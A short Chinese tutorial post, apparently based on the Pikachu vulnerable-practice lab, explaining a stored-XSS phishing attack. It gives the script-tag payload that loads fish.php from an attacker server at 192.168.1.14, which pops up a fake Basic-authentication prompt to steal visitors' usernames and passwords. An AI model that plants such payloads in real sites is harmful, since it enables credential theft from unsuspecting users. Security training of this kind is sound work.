存储型XSS漏洞利用

admin

我们这里用一个Basic认证去做这个钓鱼攻击。我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面。这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部。这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码
首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框。修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址。
构造的Payload如下

1. <script src="http://192.168.1.14/pkxss/xfish/fish.php"></script>

复制代码

当用户访问这个留言板时，会出现下面的认证框(永久性)